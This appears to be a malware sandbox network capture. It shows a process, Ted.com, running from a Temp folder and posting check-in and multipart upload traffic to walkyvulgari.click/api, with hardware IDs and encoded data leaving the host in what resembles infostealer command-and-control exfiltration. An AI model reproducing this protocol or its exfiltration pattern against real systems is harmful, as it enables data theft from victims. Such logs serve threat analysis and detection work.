2024-12-27 09:21:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 09:21:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	104.21.94.92	443	4348	C:\Users\user\AppData\Local\Temp\723356\Ted.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:21:30 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 76 Host: walkyvulgari.click
2024-12-27 09:21:30 UTC	76	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 6c 31 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 Data Ascii: act=recive_message&ver=4.0&lid=jMw1IE--l1&j=aa77e78b6b0dd1b2226e7b799532ab3a
2024-12-27 09:21:33 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:21:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h8544jc637dtet6kkv59l71q7b; expires=Tue, 22 Apr 2025 03:08:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HBQctfCMzNoA8BA29q%2Blf6yfPuvv%2BQnarhzKfxgjbw12u0Bk4toS8YqWjeash3sv%2B2E3ZT24ckr1B6Se5aL55%2FGCmmcjucN4kNGneVI3MO2MpUqoRfV4hzS1uHexXTAUF9Zea%2FE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f883da888a4de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1496&min_rtt=1490&rtt_var=571&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=978&delivery_rate=1894873&cwnd=240&unsent_bytes=0&cid=e29928c81319f358&ts=2850&x=0"
2024-12-27 09:21:33 UTC	237	IN	Data Raw: 34 65 61 30 0d 0a 31 75 6b 6a 73 44 67 6e 6b 50 44 67 6d 79 64 64 69 2f 4e 45 67 59 68 4d 79 4a 64 76 57 6d 35 4a 78 6c 63 47 36 4c 74 5a 74 4c 43 74 79 31 57 53 41 68 4f 38 30 70 50 2b 42 57 66 74 6b 69 6a 79 37 57 44 71 39 67 74 34 56 43 2b 6e 4f 33 57 4e 6c 33 76 43 33 66 54 54 52 64 46 55 56 50 58 63 77 76 35 66 66 37 47 6f 50 36 50 74 49 75 71 74 54 54 38 45 4b 36 63 37 5a 49 6e 51 4e 73 54 63 74 59 46 50 31 31 42 43 38 35 53 42 39 30 6f 34 37 70 59 6c 36 2b 59 6c 70 66 38 43 65 45 4a 72 6f 79 30 6b 30 70 6b 55 30 63 53 33 70 45 4c 44 55 77 58 74 33 4a 75 35 51 6a 4f 70 79 57 62 67 37 53 36 6b 38 51 73 78 42 69 47 75 4d 32 57 4d 30 53 6e 64 31 72 36 42 51 64 52 52 53 50 71 41 6a 50 31 4e 4d 2b 69 Data Ascii: 4ea01ukjsDgnkPDgmyddi/NEgYhMyJdvWm5JxlcG6LtZtLCty1WSAhO80pP+BWftkijy7WDq9gt4VC+nO3WNl3vC3fTTRdFUVPXcwv5ff7GoP6PtIuqtTT8EK6c7ZInQNsTctYFP11BC85SB90o47pYl6+Ylpf8CeEJroy0k0pkU0cS3pELDUwXt3Ju5QjOpyWbg7S6k8QsxBiGuM2WM0Snd1r6BQdRRSPqAjP1NM+i
2024-12-27 09:21:33 UTC	1369	IN	Data Raw: 63 4a 61 4f 6b 62 71 33 74 54 57 42 4d 65 4a 59 32 64 5a 76 4d 4e 73 62 55 39 4a 51 50 79 78 70 43 2f 74 4c 61 75 55 30 7a 35 35 51 6c 37 4f 30 76 71 75 63 43 4f 41 38 6a 72 44 46 75 68 64 59 30 32 4e 69 7a 67 30 6a 56 56 55 4c 36 6c 49 33 36 42 58 47 70 6c 6a 36 6a 73 6d 36 4b 35 51 34 37 47 43 61 31 64 58 76 45 77 48 76 52 33 76 54 54 41 64 52 55 52 50 2b 53 6b 50 46 4f 4e 4f 79 44 4c 65 72 6e 49 36 72 34 42 7a 63 50 4b 36 4d 2f 62 6f 58 54 50 39 76 66 73 6f 74 42 6b 68 51 46 39 59 72 43 6f 51 55 63 37 49 45 68 37 2f 78 73 6b 4c 55 53 64 68 56 72 6f 7a 6b 6b 30 70 6b 7a 30 39 47 33 67 45 37 52 55 6b 37 67 6b 70 44 2f 53 44 72 37 6c 79 50 74 34 43 32 34 2f 77 4d 2b 44 79 4b 76 50 47 47 4e 33 58 75 59 6b 72 4f 54 41 59 6f 61 5a 50 2b 5a 6a 76 4e 53 50 36 Data Ascii: cJaOkbq3tTWBMeJY2dZvMNsbU9JQPyxpC/tLauU0z55Ql7O0vqucCOA8jrDFuhdY02Nizg0jVVUL6lI36BXGplj6jsm6K5Q47GCa1dXvEwHvR3vTTAdRURP+SkPFONOyDLernI6r4BzcPK6M/boXTP9vfsotBkhQF9YrCoQUc7IEh7/xskLUSdhVrozkk0pkz09G3gE7RUk7gkpD/SDr7lyPt4C24/wM+DyKvPGGN3XuYkrOTAYoaZP+ZjvNSP6
2024-12-27 09:21:33 UTC	1369	IN	Data Raw: 36 69 4b 34 2b 51 63 2b 41 79 61 6f 64 53 72 4b 33 69 4f 57 69 76 53 68 51 73 5a 5a 54 37 43 6e 67 66 64 4c 4f 50 2f 52 4f 61 33 7a 62 71 33 35 54 57 42 4d 4a 71 55 39 59 70 6a 57 4e 74 58 63 75 6f 52 45 33 56 4a 46 38 70 2b 48 2f 55 34 30 36 70 77 69 38 65 41 75 6f 76 41 4d 4d 67 5a 72 36 6e 56 6a 6b 70 6c 6a 6c 75 4f 6a 67 41 50 6e 57 55 76 38 6c 5a 53 35 57 6e 48 77 30 53 48 76 71 6e 62 71 2b 41 55 39 43 53 53 6c 50 32 71 50 30 7a 66 65 33 4c 65 5a 54 74 5a 61 53 66 71 59 6a 2f 64 42 4e 2b 43 61 4c 65 58 71 4c 36 43 31 51 33 67 4c 4d 2b 52 74 4a 4c 37 65 4e 39 76 64 39 72 35 43 33 46 52 43 35 4e 4b 64 74 31 78 2f 37 70 31 6d 75 36 6f 69 6f 2f 55 47 4d 67 67 72 6f 7a 68 68 69 64 34 34 32 39 57 2b 68 55 62 57 56 6b 7a 2f 6c 49 4c 2b 51 54 72 37 6c 43 2f Data Ascii: 6iK4+Qc+AyaodSrK3iOWivShQsZZT7CngfdLOP/ROa3zbq35TWBMJqU9YpjWNtXcuoRE3VJF8p+H/U406pwi8eAuovAMMgZr6nVjkpljluOjgAPnWUv8lZS5WnHw0SHvqnbq+AU9CSSlP2qP0zfe3LeZTtZaSfqYj/dBN+CaLeXqL6C1Q3gLM+RtJL7eN9vd9r5C3FRC5NKdt1x/7p1mu6oio/UGMggrozhhid4429W+hUbWVkz/lIL+QTr7lC/
2024-12-27 09:21:33 UTC	1369	IN	Data Raw: 2f 73 62 65 42 4e 6c 76 58 56 6a 68 70 6c 6a 6c 74 75 39 6d 55 2f 63 55 30 6a 30 6d 6f 58 33 53 44 54 76 6d 69 48 6b 37 43 4f 69 2b 41 67 37 44 53 2b 75 4a 32 65 42 30 7a 62 63 6b 76 72 4c 52 73 6f 61 48 62 4b 31 6a 74 42 56 4a 50 75 48 5a 76 79 6b 4e 2b 72 79 41 58 68 55 61 36 63 36 62 59 58 52 4d 39 6e 64 73 49 56 48 31 46 64 41 2f 5a 69 51 38 55 73 79 34 70 34 74 38 65 6f 6a 72 76 6b 4a 4d 41 63 68 35 48 73 6b 6a 63 46 37 6a 70 4b 42 68 6b 37 53 57 56 4f 79 6a 63 7a 67 42 54 6a 6c 30 58 36 6a 35 69 43 71 2b 67 45 30 42 79 4f 6c 4f 57 71 4e 33 44 4c 65 32 71 61 4b 52 64 70 62 53 2f 32 54 68 76 78 41 4f 2b 36 56 49 4f 79 71 59 4f 72 79 46 58 68 55 61 34 73 53 55 63 6a 34 41 5a 62 4e 2b 70 49 42 31 56 59 46 71 74 4b 4f 2b 6b 6b 33 35 70 63 76 37 2b 41 6e Data Ascii: /sbeBNlvXVjhpljltu9mU/cU0j0moX3SDTvmiHk7COi+Ag7DS+uJ2eB0zbckvrLRsoaHbK1jtBVJPuHZvykN+ryAXhUa6c6bYXRM9ndsIVH1FdA/ZiQ8Usy4p4t8eojrvkJMAch5HskjcF7jpKBhk7SWVOyjczgBTjl0X6j5iCq+gE0ByOlOWqN3DLe2qaKRdpbS/2ThvxAO+6VIOyqYOryFXhUa4sSUcj4AZbN+pIB1VYFqtKO+kk35pcv7+An
2024-12-27 09:21:33 UTC	1369	IN	Data Raw: 4d 49 4b 4b 41 77 61 34 76 59 50 63 54 56 76 5a 6c 50 33 31 56 4e 2b 70 75 44 2f 55 41 79 37 35 30 73 34 75 30 67 70 50 31 4e 64 6b 77 73 76 48 55 38 79 76 67 72 7a 63 43 69 68 6d 44 66 56 51 58 74 33 4a 75 35 51 6a 4f 70 79 57 62 71 2b 43 71 6e 35 77 51 2f 41 69 53 6e 4a 32 57 48 30 69 6e 52 33 62 43 4d 54 64 52 56 51 2f 4f 58 69 50 56 43 4f 75 4b 65 4b 71 4f 6b 62 71 33 74 54 57 42 4d 42 61 38 6d 63 34 6e 58 4d 4d 44 4a 39 4a 51 50 79 78 70 43 2f 74 4c 61 75 55 59 30 34 70 55 6d 37 2b 6f 71 70 2f 55 66 4e 77 73 73 72 54 35 32 67 4e 34 38 33 64 71 2f 68 45 66 41 56 6b 76 67 6c 35 44 72 42 58 47 70 6c 6a 36 6a 73 6d 36 63 38 68 30 6f 44 32 6d 56 49 32 65 63 30 6a 62 61 6b 71 76 46 57 4a 4a 64 53 62 4c 4b 77 76 39 4b 4e 75 71 65 4a 2b 72 6d 49 36 2f 38 43 Data Ascii: MIKKAwa4vYPcTVvZlP31VN+puD/UAy750s4u0gpP1NdkwsvHU8yvgrzcCihmDfVQXt3Ju5QjOpyWbq+Cqn5wQ/AiSnJ2WH0inR3bCMTdRVQ/OXiPVCOuKeKqOkbq3tTWBMBa8mc4nXMMDJ9JQPyxpC/tLauUY04pUm7+oqp/UfNwssrT52gN483dq/hEfAVkvgl5DrBXGplj6jsm6c8h0oD2mVI2ec0jbakqvFWJJdSbLKwv9KNuqeJ+rmI6/8C
2024-12-27 09:21:33 UTC	1369	IN	Data Raw: 76 4f 31 61 4a 77 6e 76 4a 6e 4b 33 4c 52 74 34 61 48 62 4b 52 68 66 70 45 4e 65 43 64 4b 65 54 75 50 4b 44 79 48 7a 6b 4e 49 4b 6b 35 5a 49 66 55 4d 64 66 62 75 59 64 4d 31 56 31 4b 39 39 4c 4d 75 55 49 6e 71 63 6c 6d 77 75 63 6c 70 71 35 58 65 42 4e 6c 76 58 56 6a 68 70 6c 6a 6c 74 4b 2b 6a 6b 76 66 57 55 72 78 67 49 50 2f 56 7a 2f 6b 6d 7a 54 70 34 53 75 6e 2b 41 41 37 43 69 32 76 4f 58 61 44 32 54 6a 64 6b 76 72 4c 52 73 6f 61 48 62 4b 78 6c 65 39 50 4f 4f 57 48 4c 65 4c 70 4f 4b 66 6c 54 58 5a 4d 4f 71 4d 6b 4a 4e 4c 50 4b 38 48 56 71 38 56 59 6b 6c 31 4a 73 73 72 43 2f 30 77 35 37 70 63 6f 38 65 38 6f 70 66 6f 45 4d 51 67 6a 70 7a 56 67 6a 74 34 2b 31 64 36 2f 6a 45 4c 64 58 6b 7a 38 6d 34 32 35 43 33 2f 75 69 57 61 37 71 67 2b 78 39 67 45 31 54 44 Data Ascii: vO1aJwnvJnK3LRt4aHbKRhfpENeCdKeTuPKDyHzkNIKk5ZIfUMdfbuYdM1V1K99LMuUInqclmwuclpq5XeBNlvXVjhpljltK+jkvfWUrxgIP/Vz/kmzTp4Sun+AA7Ci2vOXaD2TjdkvrLRsoaHbKxle9POOWHLeLpOKflTXZMOqMkJNLPK8HVq8VYkl1JssrC/0w57pco8e8opfoEMQgjpzVgjt4+1d6/jELdXkz8m425C3/uiWa7qg+x9gE1TD
2024-12-27 09:21:33 UTC	1369	IN	Data Raw: 79 70 64 37 30 63 72 30 30 77 48 79 55 56 50 33 6c 5a 53 37 63 44 7a 6e 6e 79 48 31 71 6a 47 56 75 30 30 35 54 48 4f 64 4c 43 53 63 6d 57 4f 45 6e 50 53 5a 41 59 6f 61 41 76 47 41 6b 50 39 47 4b 65 72 57 47 4e 33 4e 4f 4b 44 79 48 54 38 62 4a 4f 52 37 4a 49 57 5a 59 2b 2b 53 76 59 78 61 77 30 78 49 34 70 58 43 78 67 74 2f 38 64 46 2b 6f 39 38 74 70 50 73 4b 4c 68 31 6d 67 79 4e 75 6a 63 6b 38 77 64 33 30 78 51 48 55 47 68 32 68 33 4d 4c 39 56 48 2b 78 77 58 53 34 76 33 33 39 70 56 38 6e 51 6a 4c 6b 49 79 54 53 69 33 57 57 77 50 54 54 41 5a 56 5a 56 2b 43 55 67 65 39 47 65 4e 65 76 41 66 6e 6e 4b 4c 33 6b 4d 77 59 4c 4d 61 6b 7a 63 35 75 56 4c 74 58 63 75 6f 78 58 6b 68 51 46 2f 64 4c 61 77 41 56 33 71 61 35 6f 6f 2f 4a 75 38 72 55 34 4f 77 49 6c 6f 79 4e Data Ascii: ypd70cr00wHyUVP3lZS7cDznnyH1qjGVu005THOdLCScmWOEnPSZAYoaAvGAkP9GKerWGN3NOKDyHT8bJOR7JIWZY++SvYxaw0xI4pXCxgt/8dF+o98tpPsKLh1mgyNujck8wd30xQHUGh2h3ML9VH+xwXS4v339pV8nQjLkIyTSi3WWwPTTAZVZV+CUge9GeNevAfnnKL3kMwYLMakzc5uVLtXcuoxXkhQF/dLawAV3qa5oo/Ju8rU4OwIloyN
2024-12-27 09:21:33 UTC	1369	IN	Data Raw: 34 36 41 2b 73 74 54 6b 67 49 46 74 5a 47 51 36 30 4d 38 2f 35 4a 68 33 64 51 4a 70 50 49 4d 4c 68 77 38 71 77 74 61 6e 39 6f 31 32 4e 57 69 6d 67 47 63 47 6b 71 79 79 72 75 35 44 58 2f 57 33 32 62 37 71 6e 62 71 77 41 34 32 41 69 79 79 4a 43 6d 74 31 7a 7a 58 78 4b 53 63 54 70 49 55 42 66 54 53 32 71 73 4c 66 2b 32 41 5a 72 75 36 66 50 47 67 58 6d 39 63 65 62 74 37 66 63 72 50 65 34 36 41 2b 73 74 54 6b 67 49 46 74 5a 47 51 36 30 4d 38 2f 35 4a 68 33 64 51 4a 70 50 49 4d 4c 68 77 38 71 33 70 4b 76 50 67 46 36 4d 65 33 68 55 2f 56 54 46 53 79 33 4d 4c 32 42 57 66 51 30 57 36 6a 31 57 44 71 37 55 31 67 54 42 36 6e 4f 32 71 4e 7a 79 71 62 39 62 71 4d 51 4d 52 4b 55 76 33 64 72 4d 39 6b 66 36 66 52 49 4b 4f 79 66 4f 53 31 43 53 6c 4d 63 2f 52 6e 50 39 2b 4b Data Ascii: 46A+stTkgIFtZGQ60M8/5Jh3dQJpPIMLhw8qwtan9o12NWimgGcGkqyyru5DX/W32b7qnbqwA42AiyyJCmt1zzXxKScTpIUBfTS2qsLf+2AZru6fPGgXm9cebt7fcrPe46A+stTkgIFtZGQ60M8/5Jh3dQJpPIMLhw8q3pKvPgF6Me3hU/VTFSy3ML2BWfQ0W6j1WDq7U1gTB6nO2qNzyqb9bqMQMRKUv3drM9kf6fRIKOyfOS1CSlMc/RnP9+K
2024-12-27 09:21:33 UTC	1369	IN	Data Raw: 50 4c 44 35 4a 43 42 61 72 53 72 2b 74 43 4c 2b 72 52 61 4b 50 6d 62 76 4b 31 41 43 6f 4c 4f 36 64 35 59 35 44 65 65 38 6d 63 72 63 74 58 6b 67 49 57 76 4e 4b 51 75 52 31 2f 72 70 38 72 34 75 6b 67 71 65 63 66 50 67 38 39 70 33 4a 61 74 50 51 70 30 63 4b 33 79 58 44 66 58 6c 50 6e 6b 5a 4c 2b 65 77 48 45 67 79 48 7a 36 57 79 47 38 67 41 30 4d 68 57 54 4a 47 4f 61 6d 78 33 56 78 4c 66 4c 44 35 4a 43 42 61 72 53 72 2b 74 43 4c 2b 72 54 43 75 54 6e 49 75 72 71 51 79 46 4d 50 65 52 74 4e 38 53 5a 4b 5a 61 4b 39 4d 78 43 77 45 68 44 38 59 53 42 76 6e 73 42 78 49 4d 68 38 2b 6c 73 6d 2f 67 4a 4c 68 6b 6f 74 44 4a 61 74 50 51 70 30 63 4b 33 79 57 54 6f 47 48 54 6b 6b 59 4c 33 51 6e 2b 6e 30 54 36 6a 73 6d 36 48 35 77 6f 6f 44 32 6d 42 44 79 61 37 7a 7a 6a 57 33 Data Ascii: PLD5JCBarSr+tCL+rRaKPmbvK1ACoLO6d5Y5Dee8mcrctXkgIWvNKQuR1/rp8r4ukgqecfPg89p3JatPQp0cK3yXDfXlPnkZL+ewHEgyHz6WyG8gA0MhWTJGOamx3VxLfLD5JCBarSr+tCL+rTCuTnIurqQyFMPeRtN8SZKZaK9MxCwEhD8YSBvnsBxIMh8+lsm/gJLhkotDJatPQp0cK3yWToGHTkkYL3Qn+n0T6jsm6H5wooD2mBDya7zzjW3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	104.21.94.92	443	4348	C:\Users\user\AppData\Local\Temp\723356\Ted.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:21:35 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WIIPNN3BBV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18112 Host: walkyvulgari.click
2024-12-27 09:21:35 UTC	15331	OUT	Data Raw: 2d 2d 57 49 49 50 4e 4e 33 42 42 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 30 45 31 33 31 39 42 45 32 35 45 30 44 34 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 0d 0a 2d 2d 57 49 49 50 4e 4e 33 42 42 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 49 49 50 4e 4e 33 42 42 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 6c 31 0d 0a 2d 2d 57 49 49 50 4e 4e 33 42 42 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --WIIPNN3BBVContent-Disposition: form-data; name="hwid"F30E1319BE25E0D44EC0E979F11769B5--WIIPNN3BBVContent-Disposition: form-data; name="pid"2--WIIPNN3BBVContent-Disposition: form-data; name="lid"jMw1IE--l1--WIIPNN3BBVContent-Dis
2024-12-27 09:21:35 UTC	2781	OUT	Data Raw: a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b Data Ascii: \f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5
2024-12-27 09:21:36 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=arpejlhh3blmu9k92mnss55t4p; expires=Tue, 22 Apr 2025 03:08:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B9hzEiwVQ4C9N5z78eyIV0XUorDbFIICgsBSEOork0MNfDeI2ThMpHztttyUEfj%2BJHPjnOMKtltjTPW03kWJKkbpK%2FrbYj%2Fv4UPT7rBvV876J%2BWJqWurJqH7x01QcEQWT%2FUHZtA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f883dc2ff5943cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1674&min_rtt=1668&rtt_var=637&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19068&delivery_rate=1701631&cwnd=198&unsent_bytes=0&cid=a3b9cd78d1891ecb&ts=988&x=0"
2024-12-27 09:21:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 09:21:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	104.21.94.92	443	4348	C:\Users\user\AppData\Local\Temp\723356\Ted.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:21:37 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=88R3F3YB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8721 Host: walkyvulgari.click
2024-12-27 09:21:37 UTC	8721	OUT	Data Raw: 2d 2d 38 38 52 33 46 33 59 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 30 45 31 33 31 39 42 45 32 35 45 30 44 34 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 0d 0a 2d 2d 38 38 52 33 46 33 59 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 38 52 33 46 33 59 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 6c 31 0d 0a 2d 2d 38 38 52 33 46 33 59 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e Data Ascii: --88R3F3YBContent-Disposition: form-data; name="hwid"F30E1319BE25E0D44EC0E979F11769B5--88R3F3YBContent-Disposition: form-data; name="pid"2--88R3F3YBContent-Disposition: form-data; name="lid"jMw1IE--l1--88R3F3YBContent-Disposition
2024-12-27 09:21:38 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:21:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tlleon6pr0mutll0h2j87ejaa5; expires=Tue, 22 Apr 2025 03:08:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KVp36cDUJRwXyAh3Yk6jSxNerl9QpIbzUA9q%2FMeaFJicd8A5PMXztGlK5Y%2FlFf4Rnw4ZbZTqm6XKe%2FZIDlepP%2FZBr80coyVbsf8HB9eR5eQeS8%2F08ksQNDnWJtep1eBkAEbDXPI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f883dd11c3c8c41-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1938&min_rtt=1930&rtt_var=739&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9652&delivery_rate=1464393&cwnd=225&unsent_bytes=0&cid=10fbeb600c2b2af6&ts=894&x=0"
2024-12-27 09:21:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 09:21:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	104.21.94.92	443	4348	C:\Users\user\AppData\Local\Temp\723356\Ted.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:21:39 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0N3UFN57 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20374 Host: walkyvulgari.click
2024-12-27 09:21:39 UTC	15331	OUT	Data Raw: 2d 2d 30 4e 33 55 46 4e 35 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 30 45 31 33 31 39 42 45 32 35 45 30 44 34 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 0d 0a 2d 2d 30 4e 33 55 46 4e 35 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 4e 33 55 46 4e 35 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 6c 31 0d 0a 2d 2d 30 4e 33 55 46 4e 35 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e Data Ascii: --0N3UFN57Content-Disposition: form-data; name="hwid"F30E1319BE25E0D44EC0E979F11769B5--0N3UFN57Content-Disposition: form-data; name="pid"3--0N3UFN57Content-Disposition: form-data; name="lid"jMw1IE--l1--0N3UFN57Content-Disposition
